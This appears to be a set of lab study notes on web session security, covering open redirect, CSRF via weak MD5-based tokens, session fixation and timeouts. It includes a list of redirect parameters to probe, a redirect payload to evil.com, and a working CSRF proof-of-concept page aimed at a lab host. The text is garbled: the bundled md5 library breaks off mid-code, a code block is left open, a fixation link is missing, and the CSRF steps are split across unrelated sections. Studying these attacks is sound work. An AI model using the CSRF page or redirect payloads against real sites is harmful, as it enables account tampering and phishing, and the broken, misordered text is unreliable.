Session Security

Overview

A user session can be defined as a sequence of requests originating from the same client and the associated responses during a specific time period. Modern web applications need to maintain user sessions to keep track of information and status about each user. User sessions facilitate the assignment of access or authorization rights, localization settings, etc., while users interact with an application—both before and after authentication.

For the reasons above, web applications utilize cookies, URL parameters, URL arguments (on GET requests), body arguments (on POST requests), and other proprietary solutions for session tracking and management.

Session Identifier Security

A session identifier’s security level depends on its:

Validity Scope: A secure session identifier should be valid for one session only.
Randomness: It should be generated using a robust random number/string generation algorithm to prevent prediction.
Validity Time: It should expire after a specific period.

It also depends on where it is stored:

URL: May leak via the HTTP Referer header and browser history.
HTML: Can be exposed in the browser’s cache and through intermediate proxies.
sessionStorage: Persists as long as the tab or browser is open; cleared when the session ends.
localStorage: Persists until deleted by the user, except in private/incognito modes.

Open Redirect

Open Redirect Reference

An Open Redirect vulnerability occurs when an attacker can redirect a victim to an attacker-controlled site by abusing an application’s redirection functionality. This happens when the application fails to validate the destination URL. For example, an attacker might craft a URL like:

trusted.site/index.php?url=https://evil.com

When bug hunting, check for redirection URL parameters such as:

?url=
?link=
?redirect=
?redirecturl=
?redirect_uri=
?return=
?return_to=
?returnurl=
?go=
?goto=
?exit=
?exitpage=
?fromurl=
?fromuri=
?redirect_to=
?next=
?newurl=
?redir=

Example of Open Redirect in a POST Request:

Navigate to a URL like:

http://oredirect.htb.net/?redirect_uri=/complete.html&token=<RANDOM TOKEN ASSIGNED BY THE APP>

Modify it to:

http://oredirect.htb.net/?redirect_uri=http://<VPN/TUN Adapter IP>:PORT&token=<RANDOM TOKEN ASSIGNED BY THE APP>

Replace <RANDOM TOKEN ASSIGNED BY THE APP> with the actual token provided by the application.

Open a new private window to simulate the victim. When the victim interacts with the modified URL, the application redirects them, demonstrating the vulnerability.

Cross-Site Request Forgery (CSRF)

CSRF Reference

Cross-Site Request Forgery (CSRF) forces an authenticated user to execute unintended actions on a web application. This is usually achieved by luring the victim to a malicious page that issues unauthorized requests, leveraging the victim’s credentials.

A web application is vulnerable to CSRF if:

All the parameters required for the targeted request can be determined or guessed by the attacker.
The session management relies solely on HTTP cookies, which are automatically sent with each request.

To exploit CSRF, an attacker must craft a malicious page that issues a valid cross-site request while the victim is logged in.

Weak CSRF Tokens

Many web applications generate CSRF tokens using weak methods (e.g., md5(username)). To assess token strength:

Register an account and inspect the CSRF token in the requests.
Compare the token with the expected hash. For example:
```
echo -n username | md5sum
```

Example Attack Using Weak CSRF Tokens

Save the following as press_start_2_win.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="referrer" content="never">
    <title>Proof-of-Concept</title>
    <link rel="stylesheet" href="styles.css">
    <script src="./md5.min.js"></script>
</head>
<body>
    <h1>Click Start to win!</h1>
    <button class="button" onclick="trigger()">Start!</button>
    <script>
        let host = 'http://csrf.htb.net';
        function trigger(){
            // Refresh the token on the server side.
            window.open(`${host}/app/change-visibility`);
            window.setTimeout(startPoc, 2000);
        }
        function startPoc() {
            // Generate the MD5 hash for the username.
            let hash = md5("crazygorilla983");
            window.location = `${host}/app/change-visibility/confirm?csrf=${hash}&action=change`;
        }
    </script>
</body>
</html>

For MD5 functionality, save the following as md5.min.js in the same directory:

!function(n){"use strict";function d(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function f(n,t,r,e,o,u){return d((u=d(d(t,n),d(e,u)))<<o|u>>>32-o,r)}function l(n,t,r,e,o,u,c){return f(t&r|~t&e,n,t,o,u,c)}function g(n,t,r,e,o,u,c){return f(t&e|r&~e,n,t,o,u,c)}function v(n,t,r,e,o,u,c){return f(t^r^e,n,t,o,u,c)}function m(n,t,r,e,o,u,c){return f(r^(t|~e),n,t,o,u,c)}function c(n,t){var r,e,o,u;n[t>>5]|=128<<t%32,n[14+(t+64>>>9<<4)]=t;for(var c=1732584193,f=-271733879,i=-1732584194,a=271733878,h=0;h<n.length;h+=16)c=l(r=c,e=f,o=i,u=a,n[h],7,-680876936),a=l(a,c,f,i,n[h+1],12,-389564586),i=l(i,a,c,f,n[h+2],17,606105819),f=l(f,i,a,c,n[h+3],22,-1044525330),c=l(c,f,i,a,n[h+4],7,-176418897),a=l(a,c,f,i,n[h+5],12,1200080426),i=l(i,a,c,f,n[h+6],17,-1473231341),f=l(f,i,a,c,n[h+7],22,-45705983),c=l(c,f,i,a,n[h+8],7,1770035416),a=l(a,c,f,i,n[h+9],12,-1958414417),i=l(i,a,c,f,n[h+10],17,-42063),f=l(f,i,a,c,n[h+11],22,-1990404162),c=l(c,f,i,a,n[h+12],7,1804603682),a=l(a,c,f,i,n[h+13],12,-40341101),i=l(i,a,c,f,n[h+14],17,-1502002290),c=g(c,f,i,a,n[h+15],22,1236535329),a=g(a,c,f,i,n[h+6],9,-1069501632),i=g(i,a,c,f,n[h+11],14,643717713),f=g(f,i,a,c,n[h],20,-373897302),c=g(c,f,i,a,n[h+5],5,-701558691),a=g(a,c,f,i,n[h+10],9,38016083),i=g(i,a,c,f,n[h+15],14,-660478335),f=g(f,i,a,c,n[h+4],20,-405537848),c=g(c,f,i,a,n[h+9],5,568446438),a=g(a,c,f,i,n[h+14],9,-1019803690),i=g(i,a,c,f,n[h+3],14,-187363961),f=g(f,i,a,c,n[h+8],20,1163531501),c=g(c,f,i,a,n[h+13],5,-1444681467),a=g(a,c,f,i,n[h+2],9,-51403784),i=g(i,a,c,f,n[h+7],14,1735328473),c=v(c,f,i,a,n[h+12],20,-1926607734),a=v(a,c,f,i,n[h+5],4,-378558),a

You can serve these files using a simple HTTP server. For example:

python -m http.server 1337

Then, while logged in as the victim, open a new tab and navigate to:

More Session Token Attacks

Session Fixation

An attacker obtains a valid session token by authenticating to the web application. For instance, assume the session token is a1b2c3d4e5f6. After authenticating, the attacker logs out, invalidating their session.

The attacker then tricks the victim into using the known session token by sending a link like:



When the victim clicks the link, the web application sets the session cookie to the provided value. For example, the response might include:

```http
HTTP/1.1 200 OK
[...]
Set-Cookie: session=a1b2c3d4e5f6
[...]

Since the victim’s browser stores the attacker-provided session cookie, it is sent along with the login request. Because the web application does not assign a new token upon login, the victim uses the attacker-known session token. This allows the attacker to hijack the victim’s session.

Session Timeouts

A web application must define a proper session timeout for session tokens. After the defined time interval expires, the session becomes invalid, and the token is no longer accepted. Without a timeout, a hijacked session token could be used indefinitely.

The session timeout should reflect the sensitivity of the application. For example, an application handling sensitive health data should have a timeout measured in minutes, while a social media application might use a longer timeout of several hours.

http://<VPN/TUN Adapter IP>:1337/press_start_2_win.html

Click Start! to simulate the attack. The victim’s profile becomes public, demonstrating the CSRF vulnerability.